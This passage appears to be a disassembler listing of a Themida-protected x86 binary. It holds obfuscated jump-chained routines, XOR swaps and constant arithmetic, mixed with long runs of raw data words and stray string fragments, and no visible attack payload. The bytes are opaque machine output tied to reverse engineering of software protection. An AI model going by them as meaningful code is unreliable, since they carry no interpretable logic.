loc_54AC40 ; --------------------------------------------------------------------------- loc_54D336: ; CODE XREF: Themida_:0054DE70j mov [esp], eax push esp pop eax add eax, 4 add eax, 4 jmp loc_54E424 ; --------------------------------------------------------------------------- dw 55Ch dd 4, 3302C083h, 4312404h, 24043324h, 6624248Bh, 56C8BE0Fh dd 0C681E689h, 4, 4EE81h, 34870000h, 0C895C24h, 4D19E924h dd 14290000h, 24148B24h, 4C481h, 8AE90000h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D38F: ; CODE XREF: Themida_:00546AE4j pop esp push esi jmp loc_546E24 ; --------------------------------------------------------------------------- dw 0CA81h dd 76F36B47h, 0E4C9F281h, 5DE9ED94h, 3500001Ch, 423B197Bh dd 2BF40540h, 880548C2h, 0E958BB6Ah, 20B5h, 0B850E689h dd 7E873C01h, 0FFB807E9h, 0EAE951FFh, 29FFFFCBh, 2CD0E9EEh dd 5660000h, 665B68BAh, 0B70FC331h, 4C6E68C0h, 1C890000h dd 4C7FE924h, 0FC680000h, 5F77671Dh, 42BB53h, 0D3F72DBEh dd 2583BE56h, 0F3292399h, 0F381435Eh, 0D9CFE7C7h, 815BDF31h dd 4ECh, 241C8900h, 0ADADE957h, 487FFFFh, 24248B24h, 9C240429h dd 0FF8967E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D42D: ; CODE XREF: Themida_:005509D5j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp and ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_54CA47 ; --------------------------------------------------------------------------- loc_54D455: ; CODE XREF: Themida_:00548663j pop dword ptr [esp] jmp loc_5478D7 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8B240C87h, 0E9522424h, 39D9h ; --------------------------------------------------------------------------- loc_54D46C: ; CODE XREF: Themida_:00550EE7j push 254Dh mov [esp], ebx jmp loc_54E62F ; --------------------------------------------------------------------------- db 81h, 0EFh, 4 dd 57000000h, 0FF9021E9h, 0EB8059FFh, 0E9D300E9h, 0FFFFC573h dd 2434875Bh, 5324248Bh, 0D24E9h, 0F7815A00h, 7C8F7EF3h dd 498E9h db 0 ; --------------------------------------------------------------------------- loc_54D4A9: ; CODE XREF: Themida_:005464DDj push esi pop eax jmp loc_54E940 ; --------------------------------------------------------------------------- dd 0A34E0605h, 0F53EE97Ch, 0EC80FFFFh, 8ECC02Dh, 0D5F6EC86h dd 0E952EC86h, 94Bh, 52E52CACh, 3C52E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D4D6: ; CODE XREF: Themida_:0054CB38j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_54C600 ; --------------------------------------------------------------------------- db 48h, 0C1h, 0E0h dd 0B772D07h, 0D8F738B6h, 45E1E9h, 0CEE78000h, 0A6EF80h dd 241C8BFAh, 4C481h, 0D0300000h, 24148B66h, 2C481h, 4CE90000h dd 52FFFFC2h, 6C9A68h, 243C8900h, 0A3AC6BFh, 5FF2BA05h dd 0FA29050Ch, 344055Fh, 0D029799Ah, 9A03442Dh, 0EA815A79h dd 752727E3h, 0C281C229h, 752727E3h, 0D31E958h, 0F6810000h dd 429B2702h, 31E9F101h, 58FFFFB3h, 808AB450h, 0EC831DECh dd 24148904h, 0F28029B2h, 6EAC05Eh, 0FF8916E9h, 0E9505EFFh dd 0FFFF9984h, 205h, 61B06800h, 4890000h, 0C9E5E924h, 0DAF7FFFFh dd 8103E2C1h, 96D337F2h, 5AD3012Dh, 5219B951h, 0CB015666h dd 4EC8159h, 89000000h, 25BD242Ch, 0E9444B01h, 633h, 462CD000h dd 3037045Ah, 0D80058C3h, 24148B5Bh, 4C481h, 0E9500000h dd 1C03h, 8324148Bh, 0B5E904C4h, 57FFFF87h, 884E04BFh dd 0E9DFF714h, 31FAh, 0B5240C89h, 1DED809Ch, 448968h, 24148900h dd 51E88850h, 3A07E9h, 59CA8900h, 2251E956h, 0C890000h dd 2B924h, 0E8E90000h, 8B00000Bh, 0C483240Ch, 58685504h dd 89000010h, 4812424h, 424h, 242C8B00h, 4C481h, 0C5810000h dd 4, 0FF8804E9h, 6C0325FFh, 0E0C13227h, 0B9514005h, 73483DB0h dd 0C149D1F7h, 0F18107E9h, 0ABB716EAh, 159C801h, 0FA2958C7h dd 58EF815Fh, 0E9720A56h, 33A8h, 8124348Bh, 4C4h, 0D7295D00h dd 5A2434FFh, 4C481h, 0F9310000h, 8952555Fh, 0F4A7E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D696: ; CODE XREF: Themida_:00550A5Fj xor edx, 79B94E87h jmp loc_54E2C0 ; --------------------------------------------------------------------------- loc_54D6A1: ; CODE XREF: Themida_:00547AF4j push 573A0F70h pop ebx and ebx, 7A756F9Fh and ebx, 719F1450h add ebx, 0EF983C81h mov edi, ebx mov ebx, [esp] jmp loc_551B34 ; --------------------------------------------------------------------------- db 57h dd 0FFC303E9h, 0D1295AFFh, 0E9C8295Ah, 0FFFFEC03h, 0E9E78957h dd 0FFFFABD2h, 8104C483h, 781D8DEFh, 45E78156h, 0F71B2768h dd 462EE9DFh, 0F3010000h, 0B6F3815Eh, 0E9EEB529h, 4406h dd 0E924248Bh, 0FFFF9ECCh, 0F702E5C1h, 0F032E9D5h, 0EC83FFFFh dd 243C8904h, 0FFFCD1E9h, 81EF01FFh, 0CC7D71C7h, 20EF8107h dd 5D7B1D7Ch, 31243C33h, 3C33243Ch, 24248B24h, 2BA7E9h dd 815F5400h, 4C7h, 4C78100h, 87000000h, 505C243Ch, 5C7D68h dd 24348900h, 27780D68h, 0BF575E61h, 70D15F92h, 0DBF9C781h dd 11E9C5D3h, 43000004h, 14CEE381h, 0E9522E9Ah, 0FFFF93EBh dd 783E951h, 68580000h, 7B86h, 0FF241C89h, 0E9042474h dd 0FFFFDF32h ; --------------------------------------------------------------------------- loc_54D794: ; CODE XREF: Themida_:0054925Ej push esi push ebp push 78DF6DC4h pop ebp jmp loc_54B3BA ; --------------------------------------------------------------------------- db 29h, 0C8h, 59h dd 0E904EC83h, 4Fh ; --------------------------------------------------------------------------- loc_54D7AC: ; CODE XREF: Themida_:0054FF7Cj push dword ptr [esp] jmp loc_546AD8 ; --------------------------------------------------------------------------- loc_54D7B4: ; CODE XREF: Themida_:0054BA5Ej mov ebp, 57590B0Dh sub esp, 4 mov [esp], ebx push esi mov esi, 601F1647h mov ebx, esi pop esi xor ebx, 6C6105FDh push edx mov edx, 0A4D8EF49h xor ebx, edx pop edx add ebp, ebx pop ebx jmp loc_5482EB ; --------------------------------------------------------------------------- loc_54D7DF: ; CODE XREF: Themida_:00546314j sub eax, 23623BD1h push ebp mov ebp, 1FA5017Ch add eax, ebp pop ebp or ebp, eax pop eax push eax push 35505B1Bh jmp loc_54B4FE ; --------------------------------------------------------------------------- db 89h dd 0E789243Ch, 4BE56h, 0EF810000h, 12D11BE1h, 36E9F701h dd 0FFFFFFB2h, 52582434h, 0BD55E289h, 25704C97h, 10AED81h dd 0ED812874h, 0FCFC4B89h, 0FFE8FBE9h, 5BDF31FFh, 0EF814747h dd 51AD137Dh, 0E904EC83h, 0FFFFF069h, 2953C381h, 595301ADh dd 52E1815Bh, 81665B39h, 5F396AE9h, 0B5F18133h, 294FDEDCh dd 515859CEh, 8DB68h, 24048900h, 0E950F089h, 0FFFFF9F4h ; --------------------------------------------------------------------------- loc_54D874: ; CODE XREF: Themida_:00548421j mov dh, 46h add bh, 51h push eax mov ah, 0E7h push bx sub esp, 4 mov [esp], edx mov dl, 7Dh mov bl, dl pop edx sub ah, bl pop bx sub ah, 87h add bh, ah jmp loc_54F2F0 ; --------------------------------------------------------------------------- loc_54D897: ; CODE XREF: Themida_:00549D81j sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_545D94 ; --------------------------------------------------------------------------- dd 0C05BDE30h, 0D6F607EEh, 2FE9CEFEh, 81FFFFA7h, 0F12E9BEFh dd 0E0CDE919h, 895CFFFFh, 0E389241Ch, 0B13BE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D8D6: ; CODE XREF: Themida_:0054608Ej pop esi add eax, edx mov ecx, [eax] push dword ptr [esp] jmp loc_550D73 ; --------------------------------------------------------------------------- db 0F7h aSa db 'Ωι ',0 align 2 dw 0C283h dd 24148704h, 34FF535Ch, 0C06E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D8FA: ; CODE XREF: Themida_:0054C6BFj shl edx, 1 push dword ptr [edi+24h] push eax pop dword ptr [edi+24h] push dword ptr [esp] jmp loc_54A236 ; --------------------------------------------------------------------------- db 0C1h dd 0E95305EBh, 26C5h ; --------------------------------------------------------------------------- loc_54D914: ; CODE XREF: Themida_:00551989j xor eax, ebx xor ebx, eax xor eax, ebx xor [esp], eax xor eax, [esp] xor [esp], eax push dword ptr [esp] jmp loc_551E4E ; --------------------------------------------------------------------------- loc_54D92B: ; CODE XREF: Themida_:00545FA7j mov ebx, 85C89409h sub ebx, edx pop edx jmp loc_54B415 ; --------------------------------------------------------------------------- dd 56240C89h, 0FFCC0CE9h, 5FFD01FFh, 15A068h, 31F9E900h dd 0C5830000h, 74FF5504h, 8F5D0424h, 815C2404h, 4ECh, 0CDCFE900h dd 0C281FFFFh, 72322B05h, 1FF4E9h db 0 ; --------------------------------------------------------------------------- loc_54D971: ; CODE XREF: Themida_:0054F598j xchg edx, [esp] mov esp, [esp] shl esi, 6 sub esi, 835C7D80h jmp loc_549B40 ; --------------------------------------------------------------------------- aAuhh db 'ΆΧξhh|',1Bh,0 dw 8900h dd 0B252240Ch, 83B652F6h, 0E95AF188h, 0FFFF9ADEh, 0BB241C89h dd 502D7295h, 4B8AC381h, 0BDE972EBh, 5B000040h, 0FFB1A5E9h dd 0A9E950FFh, 0FFFFFFD2h, 81592434h, 4C4h, 41506800h dd 1C890000h, 9EE7E924h, 0EE81FFFFh, 3A4E1C30h, 62066858h dd 0F7E90000h, 5700003Dh, 0FF8D4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D9ED: ; CODE XREF: Themida_:0054E339j mov [esp], ecx sub esp, 4 jmp loc_549132 ; --------------------------------------------------------------------------- a9s db 'Ά9ι>%',0 align 2 dw 487h dd 30FF5C24h, 0FF8387E9h, 2434FFFFh, 4C4815Ah, 0C1000000h dd 0C83108E8h, 4EC81h, 4890000h, 46ECE924h, 0C4830000h dd 0C0B60F04h, 0FFCF5DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DA35: ; CODE XREF: Themida_:0054EA68j sub esp, 2 mov [esp], ax mov ah, 0A3h add bl, ah mov ax, [esp] add esp, 2 movzx eax, al pop small word ptr [edi+eax*4] jmp loc_545D94 ; --------------------------------------------------------------------------- dw 5453h dd 0E955E95Bh, 0FF5AFFFFh, 48B2434h, 4C48124h, 68000000h dd 5C5Bh, 83241C89h, 46E904ECh, 8100000Dh, 497835C2h, 0EA8BE91Ch dd 0E957FFFFh, 0FFFFFCB1h, 0E924148Bh, 0FFFF8BA8h ; --------------------------------------------------------------------------- loc_54DA94: ; CODE XREF: Themida_:0054BB37j push dword ptr [esp] jmp loc_54636A ; --------------------------------------------------------------------------- dd 70168h, 24048900h, 0FF2414F7h, 52582434h, 0BE56E289h dd 408C35CEh, 3D08F681h, 0DA6814B1h, 8900001Ch, 14F72434h dd 0F6815E24h, 12ED3376h, 0C44BF681h, 0C281B92Fh, 3EFB6F90h dd 0EA81F201h, 3EFB6F90h, 8324348Bh, 0A9E904C4h, 87FFFFF0h dd 535C240Ch, 241C8B54h, 0FFD49CE9h, 8E95FFFh, 8B00003Dh dd 4FE2424h, 89E99C24h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB0B: ; CODE XREF: Themida_:0054E63Bj dec ebx inc ebx shl ebx, 6 xor ebx, 0EAC5F020h jmp loc_545DA3 ; --------------------------------------------------------------------------- db 33h dd 3C31243Ch, 243C3324h, 3824248Bh, 65E99CC1h, 0ADFFFF82h dd 0F968D831h, 8900005Bh, 5752242Ch, 0B17DE951h, 0F801FFFFh dd 6E482C05h, 47095F32h, 24048B1Ch, 5BE95453h, 80FFFF9Ch dd 0E800ADC5h, 592434FFh, 0FFB689E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DB65: ; CODE XREF: Themida_:0054C97Ej mov edx, [esp] add esp, 4 pop ecx pop esi loc_54DB70: ; CODE XREF: Themida_:0054ADC4j push ebx push 1217h jmp loc_5512AE ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF8214h, 0CEE9FE09h, 0BBFFFFBAh, 36BA3C80h, 0FFE4B2E9h dd 2474FFFFh, 48F5B04h, 0F5E95C24h, 0B8FFFF81h, 63243EE1h dd 0ED19C925h, 0E9D8F729h, 0FFFFD6FEh, 0E924248Bh, 0FFFFD16Bh dd 15DE829h, 7A7A05D8h, 0DF2D11C8h, 2D1AD875h, 24EF5C67h dd 4EC81h, 2C890000h, 1593BD24h, 0E80117C1h, 0C6C8E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBE2: ; CODE XREF: Themida_:00546AAEj shl edx, 1 push ebp push edx jmp loc_54EC18 ; --------------------------------------------------------------------------- a1is4 db '1λι+4',0 align 2 dw 0D1F7h dd 0E9C1D1F7h, 6E1C104h, 0BCEBE981h, 61E9ACE9h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DC07: ; CODE XREF: Themida_:00549D01j dec ecx neg ecx not ecx sub ecx, 11F63B2Dh add ebp, ecx pop ecx xchg ebp, [esp] pop esp push edi push edx push 53B9409Ah mov edx, [esp] add esp, 4 jmp loc_54E130 ; --------------------------------------------------------------------------- db 28h dd 48B66E3h, 2C48124h, 80000000h, 58D9EBh, 0FB3AE9C3h dd 4DE9FFFFh db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DC47: ; CODE XREF: Themida_:0054BCF1j mov eax, esp add eax, 4 push edi jmp loc_5502D4 ; --------------------------------------------------------------------------- dd 240C8B66h, 0C8B5451h, 4C48124h, 0E9000000h, 31B0h, 92E9F586h dd 5900002Dh, 4C481h, 41B10000h, 0C180D9F6h, 0F6D9F602h dd 80D9F6D9h, 0F13090F1h, 66C8305Ah, 55240C8Bh, 10E95D54h dd 31FFFF93h, 2755E9D3h, 0EF830000h, 243C8704h, 8924248Bh dd 0E2892414h, 5EFCBE56h, 0C68167ADh, 9852A108h, 0FFBB70E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DCBD: ; CODE XREF: Themida_:0054DD13j pop edi sub edi, edx pop edx pop ebp jmp loc_547693 ; --------------------------------------------------------------------------- db 0BAh dd 175A55E4h, 31C2ED81h, 3AE919D8h, 0FF00002Ch, 57592434h dd 0D4E9E789h, 5100003Eh, 0D0E9E189h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DCEB: ; CODE XREF: Themida_:00550849j mov [esp], esp add dword ptr [esp], 4 pop edi push ecx mov ecx, 4 add edi, ecx pop ecx add edi, 4 xchg edi, [esp] pop esp jmp loc_5471AE ; --------------------------------------------------------------------------- loc_54DD0E: ; CODE XREF: Themida_:0054A1F0j mov edx, ebx pop ebx xor edx, edi jmp loc_54DCBD ; --------------------------------------------------------------------------- dd 0AEE9EA00h, 59000017h, 6EF1685Ah, 1C890000h, 2434FF24h dd 1E906858h, 1C890000h, 878CE924h, 0BB53FFFFh, 20982FC1h dd 5055EB81h, 0EBC1164Eh, 0C9BD5507h, 21333914h, 0D3F75DEBh dd 15586843h, 34890000h, 7BBB5324h, 0BE77B21Dh, 99D95362h dd 6C5CC681h, 0DE297A65h, 0FFE41FE9h, 0D6F659FFh, 0E680D6F6h dd 0FDB35348h, 0CAE9DE00h, 81FFFFB5h, 0EF54E6C3h, 0D4EB814Ch dd 1609C6Fh, 0D4C381D3h, 81609C6Fh, 0EF54E6EBh, 0E9535A4Ch dd 0FFFFFDE9h, 5D3F685Fh, 0E90000h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DDB3: ; CODE XREF: Themida_:00548998j mov edi, 37794A09h and esi, edi pop edi xor esi, 21C27E16h or edi, esi pop esi not edi xor edi, 5D1520CAh add edi, 6BA24BD3h add edi, 0BD4C8B52h mov ebx, edi mov edi, [esp] push edi jmp loc_54F3C2 ; --------------------------------------------------------------------------- aVsz? db 'Vι?',0 dd 0EC815A00h, 4, 68241489h, 8594CBBAh, 0FFF8CCE9h, 44E68FFh dd 14890000h, 2474FF24h, 24148B04h, 4C481h, 0E6E90000h dd 0B6FFFFEDh, 4263E94Dh, 0DABA0000h, 81550517h, 0C90F2CF2h dd 14F7520Dh, 0E2C15A24h, 0F560E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE36: ; CODE XREF: Themida_:0054E43Cj push ecx mov ecx, 346B4947h jmp loc_54C597 ; --------------------------------------------------------------------------- loc_54DE41: ; CODE XREF: Themida_:0054E693j mov [esp], eax mov eax, 3156435Ah push eax neg dword ptr [esp] pop eax not eax xor eax, 3B516EADh add eax, 0F5F8D210h sub edx, 2DB3D12h add edx, eax add edx, 2DB3D12h pop eax sub edx, 4 xchg edx, [esp] pop esp jmp loc_54D336 ; --------------------------------------------------------------------------- db 52h, 0E9h, 23h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE7B: ; CODE XREF: Themida_:00547CA1j push 3984h mov [esp], ebx jmp loc_550F44 ; --------------------------------------------------------------------------- dd 8704E983h, 895C240Ch, 0E952241Ch, 0FFFFC32Fh, 19AEE957h dd 8F540000h, 4812404h, 424h, 68505E00h, 4, 19C68158h dd 0E94A3756h, 0FFFFCB03h, 5C243C87h, 24148966h, 0E99C5066h dd 0FFFFCD7Dh, 4EC8351h, 83242489h, 8B042404h, 0C483240Ch dd 0BD555604h, 7D2901EFh, 1AE5C581h, 0EE89B2ECh, 83D6F75Dh dd 0A3E9FFC6h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DEF7: ; CODE XREF: Themida_:0054A496j pop edi xor edi, 0AC6DB65h mov edx, edi jmp loc_547CA6 ; --------------------------------------------------------------------------- db 0B1h, 27h, 0F6h dd 8C9DE9D1h, 0C8BFFFFh, 0E61AE924h, 2D66FFFFh, 5665FC2h dd 66517382h, 6615A6B9h, 6605E1C1h, 4FF6651h, 855BE924h dd 0EC81FFFFh, 4, 89243C89h, 0AB4E9E7h, 0EC800000h, 58E78870h dd 0E95EC780h, 0FFFFB60Ah ; --------------------------------------------------------------------------- loc_54DF50: ; CODE XREF: Themida_:0054E8B2j mov esp, [esp] jmp loc_54E236 ; --------------------------------------------------------------------------- dd 4C581h, 2C870000h, 0AF2D5C24h, 118D97Eh, 7EAF05D0h dd 535A18D9h, 0DE685051h, 8B342402h, 89502404h, 405E0h dd 4050000h, 87000000h, 0E95C2404h, 0FFFF9C37h, 462FF9B8h dd 5E0C15Dh, 8E0DE948h, 15EFFFFh, 7CE958C1h, 59FFFFA9h dd 1C8B5E53h, 4C48324h, 335EF301h, 1C31241Ch, 241C3324h dd 0B60F665Ch, 6E6866C8h, 0C896630h, 7DC6E924h, 34FFFFFFh dd 24048187h, 444C1FE0h, 582434FFh, 0FF9D65E9h, 4FDFF7FFh dd 3E7DEF81h, 0D2E93FD0h, 1FFFFB1h, 0C688E9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DFF6: ; CODE XREF: Themida_:00546534j mov [esp], ebp push ebx mov ebx, 45DD534Dh mov ebp, 45DD5351h sub ebp, 0B887DB9h sub ebp, ebx push eax push edi mov edi, 0B887DB9h mov eax, edi jmp loc_5509BD ; --------------------------------------------------------------------------- dw 248Bh dd 0FFC83024h, 81592434h, 4C4h, 0CCB45000h, 0ECC0CCFEh dd 86C4FE06h, 86D7F6FCh, 0C7C480FCh, 0BE9E328h, 0C1FFFFE2h dd 2FE908E8h, 31FFFFA9h, 0FA4AE9C8h, 0EF80FFFFh, 53CF809Eh dd 0AEEF80h, 0D8005BF8h, 0E044E951h, 0EC81FFFFh, 4, 89241489h dd 0DA36E9E2h, 0E9C1FFFFh, 0F0E98105h, 0E97E913Ch, 1D72h dd 18A2EA81h, 0C20155F5h, 0FF8516E9h, 8B5A50FFh, 0C4812404h dd 4, 4A06EAC1h, 3A89BB53h, 0C28165E2h, 651C03E9h, 3991E9h dd 81E18900h, 4C1h, 2C18100h, 87000000h, 665C240Ch, 7CCAE95Fh dd 0D8BBFFFFh, 8100AC42h, 710CB0EBh, 63EB811Eh, 813B7A5Dh dd 0A627E2F3h, 57F38162h, 0C149885Ah, 0C38104EBh, 1F741774h dd 555BDE89h, 5301C7BDh, 5DEE2928h, 0E95EF001h, 8B5h ; --------------------------------------------------------------------------- loc_54E104: ; CODE XREF: Themida_:0054975Ej inc esi sub esi, 18261433h and esi, 5CC72D8Dh not esi add esi, 0CC92A5F8h sub edi, 723C7103h add edi, esi add edi, 723C7103h pop esi and eax, edi pop edi jmp loc_54D2E0 ; --------------------------------------------------------------------------- loc_54E130: ; CODE XREF: Themida_:0054DC26j xchg ebp, edx not ebp xchg ebp, edx sub edx, 3050605Bh push edx jmp loc_54A004 ; --------------------------------------------------------------------------- dw 8766h dd 0BB6653F1h, 0ABE96F32h, 89FFFFEFh, 4C681E6h, 83000000h dd 348704C6h, 24248B24h, 112FE9h, 5FFA0100h, 0C988E950h dd 0E2C1FFFFh, 0C2814A03h, 78B04D0Fh, 0FFE26FE9h, 8036B2FFh dd 0E95303E2h, 11CAh, 15E9ABB0h, 52FFFF7Dh, 0D689DA89h dd 0FFEF57E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E199: ; CODE XREF: Themida_:0054F538j push ecx push 23BAh mov [esp], ebp mov ebp, 536006C4h add ebp, 0AC9FF960h jmp loc_545D9C ; --------------------------------------------------------------------------- loc_54E1B2: ; CODE XREF: Themida_:0054A1B2j sub cl, 0D4h mov dl, cl pop ecx add al, 20h sub al, dl jmp loc_550E99 ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 0BF0EE900h, 3C87FFFFh, 34895C24h, 8FA2E924h, 48BFFFFh dd 0F27BE924h, 3C87FFFFh, 0F9E95C24h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E1EB: ; CODE XREF: Themida_:00551E77j mov [esp], eax push dword ptr [esp+4] jmp loc_548662 ; --------------------------------------------------------------------------- db 56h dd 9066A68h, 45E95E3Eh, 56FFFF83h, 0F289CE89h, 0D101595Eh dd 74FF515Ah, 8F590424h, 0E95C2404h, 0FFFFEF70h, 84EF8147h dd 0E9029A1Ah, 0FFFF7C2Bh, 3DF868h, 241C8900h, 878FE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E236: ; CODE XREF: Themida_:0054DF53j shl edx, 6 push eax jmp loc_54A3DB ; --------------------------------------------------------------------------- db 29h dd 82A7E9C8h, 3C8BFFFFh, 4C48124h, 81000000h, 4C7h, 0DD6E900h dd 48B0000h, 0B84EE924h, 0F229FFFFh, 45B8505Eh, 4027611Ah dd 2B1FE9h, 242C8700h, 3B24248Bh, 15E99CC8h, 0E9FFFF7Bh dd 0FFFF7B10h, 240C8B66h, 4EC8155h, 89000000h, 4832424h dd 0A0E90424h, 83FFFFB9h, 2C8904ECh, 9A45E924h, 815EFFFFh dd 516AB0EBh, 24348B76h, 104C483h, 4BBA52C3h, 0E97E4628h dd 0FFFFB8BBh ; --------------------------------------------------------------------------- loc_54E2C0: ; CODE XREF: Themida_:0054D69Cj push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_54F229 ; --------------------------------------------------------------------------- dd 66E8005Bh, 2CD00059h, 2434FF96h, 0E289525Ah, 3C3EE9h dd 48B6600h, 4A046824h, 1C890000h, 0BDFAE924h, 74FFFFFFh dd 34FF0424h, 24048B24h, 0E904C483h, 0FFFF8386h, 1B9268h dd 24048900h, 4B8h, 0E9C10100h, 0FFFFFEBAh ; --------------------------------------------------------------------------- loc_54E320: ; CODE XREF: Themida_:00545EC0j mov esi, 629C0865h xor [esp+4], esi mov esi, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 sub esp, 4 jmp loc_54D9ED ; --------------------------------------------------------------------------- dw 0F781h dd 0D457A807h, 555FFB01h, 0EA89DD89h, 2DBCE95Dh, 4330000h dd 2CCBE924h, 2C5C0000h, 2216683Ah, 14890000h, 5DB05024h dd 0E951C834h, 0EDDh, 8F665966h, 31662404h, 0CF3166F9h dd 66F93166h, 4876657h, 66506624h, 662414F7h, 4876658h dd 3C8B6624h, 2C48124h, 66000000h, 3166F931h, 0F93166CFh dd 6602EC83h, 66240C89h, 22474FFh, 8F665966h, 0D9E92404h dd 81FFFF79h, 4C1h, 4C18100h, 87000000h, 875C240Ch, 248B2434h dd 0E2EEE924h, 0C381FFFFh, 4, 4EC81h, 3C890000h, 0D1B95124h dd 816C783Ch, 297687C9h, 0D5E9811Bh, 0E97F797Eh, 502h ; --------------------------------------------------------------------------- loc_54E3FC: ; CODE XREF: Themida_:0055098Dj pop esp pop ebx jmp loc_548BE3 ; --------------------------------------------------------------------------- db 5Eh dd 0E9240487h, 0FFFFD070h, 0B8h, 51C80100h, 0B9h, 1C10100h dd 0E9585911h, 0FFFFF8FBh ; --------------------------------------------------------------------------- loc_54E424: ; CODE XREF: Themida_:0054D345j xchg eax, [esp] mov esp, [esp] jmp loc_548E52 ; --------------------------------------------------------------------------- db 0B1h dd 0C8E980AEh, 1DE9A02Ch db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E43B: ; CODE XREF: Themida_:0054A00Bj pop edi jmp loc_54DE36 ; --------------------------------------------------------------------------- db 0E9h, 4Eh, 79h dd 34FFFFFFh, 0C4815F24h, 4, 8B246F01h, 6852242Ch, 1DA6h dd 0FFABF2E9h, 243C89FFh, 6C308468h, 0B8505F03h, 50503647h dd 0FFF070E9h, 245429FFh, 34FF5A04h, 57E95B24h, 81000019h dd 4C4h, 59C82000h, 3C8B5457h, 5F545724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 768F68h, 241C8900h, 0FB6C13BBh, 869BE934h dd 0FB01FFFFh, 404EEB81h, 875F44BFh, 5E9241Ch db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4C7: ; CODE XREF: Themida_:0054C434j push edx push esp pop edx sub esp, 4 mov [esp], ebp jmp loc_54FCA0 ; --------------------------------------------------------------------------- dd 405E089h, 2D000000h, 4, 8B240487h, 34892424h, 34685024h dd 5819E743h, 18BCCD05h, 0E9C689E6h, 0FFFF9E4Ah, 0E92434FFh dd 0FFFFE84Ch, 81241C89h, 4ECh, 24348900h, 0FC058BBEh dd 0C1DEF76Ah, 0F68104E6h, 9F3336Eh, 68h, 24342900h, 0FFA5C8E9h dd 0D8005CFFh, 76B35366h, 8B66D828h, 0C481241Ch, 2, 4EC81h dd 0C890000h, 77B65224h, 73E9DEF6h, 51000018h, 0F4EE9h dd 24D25C00h, 2DE99C24h, 31FFFF78h, 1C33241Ch, 24248B24h dd 8B2434FFh, 0EC83240Ch, 240C8904h, 0BE56E189h, 7D3E04A9h dd 0EE81DEF7h, 82C1FB53h, 535EF101h, 4BBh, 5BD90100h, 5C240C87h dd 725868h, 242C8900h, 242C8B54h, 0E904C483h, 0FFFFCF43h dd 2474FF57h, 721E904h, 5580000h, 4, 4BD55h, 0B6E90000h dd 66FFFFE2h, 0E2C16658h, 0EA816605h, 166FA24h, 47E95AD0h dd 87FFFFABh, 895C243Ch, 5A542414h, 0FF870AE9h, 240C89FFh dd 0C8000CB1h, 0AAABE959h, 4B9FFFFh, 89000000h, 240C8BCEh dd 4C481h, 81E90000h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E60F: ; CODE XREF: Themida_:0054B23Ej mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_549157 ; --------------------------------------------------------------------------- dw 0DFF7h dd 0C76BEF81h, 0ADE99DFAh db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E62F: ; CODE XREF: Themida_:0054D474j mov ebx, 4B940E61h sub ebx, 2C2E5C9Fh dec ebx jmp loc_54DB0B ; --------------------------------------------------------------------------- aFsP db 'fS³p',0 db 0DDh, 66h, 5Bh dd 0FF9AA4E9h, 0B60F66FFh, 0E161E902h, 3C89FFFFh, 8F1AE924h dd 0F757FFFFh, 555F241Ch, 0B21BC3BDh, 0B7CE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E66E: ; CODE XREF: Themida_:00550587j shl ch, 3 add ch, 72h xor ch, 0AAh and al, ch pop ecx shl al, 3 add al, 0B1h sub bl, 73h sub bl, al add bl, 73h jmp loc_547ABF ; --------------------------------------------------------------------------- loc_54E68C: ; CODE XREF: Themida_:0054CCA6j mov edx, esp push 1120h jmp loc_54DE41 ; --------------------------------------------------------------------------- dd 4BDh, 5DE90100h, 31240C33h, 7EE9240Ch, 81FFFF81h, 4C4h dd 0DACF8100h, 0E9339F14h, 0FFFF9A89h, 1CDCF281h, 0C2811EFBh dd 726228D2h, 0F281DAF7h, 3F590FCEh, 8F37F281h, 85E93661h dd 5EFFFFBBh, 8B24048Fh, 81E92424h, 30FFFFC3h, 65B353D8h dd 18E1E9h db 0 ; --------------------------------------------------------------------------- loc_54E6F1: ; CODE XREF: Themida_:0054C758j and ecx, ebp jmp loc_54EAB6 ; --------------------------------------------------------------------------- dd 0D305D12Dh, 0E66CE943h, 8858FFFFh, 0E959870Ch, 0FFFF7688h dd 0F628E9ADh, 0E281FFFFh, 16B57CCBh, 1ADE953h, 89510000h dd 4C181E1h, 81000000h, 4E9h, 